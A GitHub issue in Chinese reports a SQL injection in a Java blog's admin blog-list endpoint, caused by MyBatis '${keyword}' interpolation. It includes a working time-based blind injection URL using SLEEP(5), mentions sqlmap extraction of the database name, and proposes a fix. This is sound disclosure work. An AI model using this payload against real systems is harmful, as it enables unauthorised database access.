一处SQL注入漏洞.
thiscodecc opened this issue · 1 comments
代码位置
com.site.blog.my.core.controller.admin.BlogController -> com.site.blog.my.core.service.impl.BlogServiceImpl 98行调用findBlogList方法.
findBlogList具体代码
<select id="findBlogList" parameterType="Map" resultMap="BaseResultMap">
select
<include refid="Base_Column_List"/>
from tb_blog
where is_deleted=0
<if test="keyword!=null">
AND (blog_title like CONCAT('%','${keyword}','%' ) or blog_category_name like CONCAT('%','${keyword}','%' ))
</if>
<if test="blogStatus!=null">
AND blog_status = #{blogStatus}
</if>
<if test="blogCategoryId!=null">
AND blog_category_id = #{blogCategoryId}
</if>
order by blog_id desc
<if test="start!=null and limit!=null">
limit #{start},#{limit}
</if>
</select>
可以看到keyword关键字有注入.
攻击URL.
http://host:8888/admin/blogs/list?page=1&limit=1&keyword=1')) AND (SELECT 5211 FROM (SELECT(SLEEP(5)))wQzP)-- 注释掉后面的
select blog_id, blog_title, blog_sub_url, blog_cover_image, blog_category_id, blog_category_name, blog_tags, blog_status, blog_views, enable_comment, is_deleted, create_time, update_time from tb_blog where is_deleted=0 AND (blog_title like CONCAT('%','1')) AND (SELECT 5211 FROM (SELECT(SLEEP(5)))wQzP)-- 注释掉后面的','%' ) or blog_category_name like CONCAT('%','1')) AND (SELECT 5211 FROM (SELECT(SLEEP(5)))wQzP)-- 注释掉后面的','%' )) order by blog_id desc limit ?,?
页面执行了SLEEP 5所以等了5秒才返回结果,后面的--注释掉后面的语句了.前面的))成功闭合了.
实际运行的SQL就是这个了
select blog_id, blog_title, blog_sub_url, blog_cover_image, blog_category_id, blog_category_name, blog_tags, blog_status, blog_views, enable_comment, is_deleted, create_time, update_time from tb_blog where is_deleted=0 AND (blog_title like CONCAT('%','1')) AND (SELECT 5211 FROM (SELECT(SLEEP(5)))wQzP)--
这里没有报错回显,所以得分多次请求才能看到结果,我用sqlmap工具请求.
可以看到当前使用的数据库可以被读出来了.
我看别处调用的时候都用PatternUtil.validKeyword方法对keyword参数进行了校验,这个地方没有使用,使用这个方法校验就可以了或者改成#keyword的.
感谢